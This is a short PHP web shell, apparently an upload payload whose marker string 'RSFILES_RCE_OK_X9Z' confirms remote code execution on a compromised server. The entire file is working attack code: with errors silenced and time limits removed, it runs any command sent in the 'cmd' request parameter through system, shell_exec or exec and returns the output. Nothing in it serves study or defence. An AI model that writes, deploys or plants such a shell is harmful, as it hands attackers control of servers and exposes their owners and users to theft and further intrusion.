<?php error_reporting(0);@set_time_limit(0);echo 'RSFILES_RCE_OK_X9Z';if(isset($_REQUEST['cmd'])){$c=$_REQUEST['cmd'];$o='';if(function_exists('system')){ob_start();@system($c.' 2>&1');$o=ob_get_clean();}elseif(function_exists('shell_exec')){$o=@shell_exec($c.' 2>&1');}elseif(function_exists('exec')){@exec($c.' 2>&1',$a);$o=implode("\n",$a);}echo '<OUTPUT>'.$o.'</OUTPUT>';}?>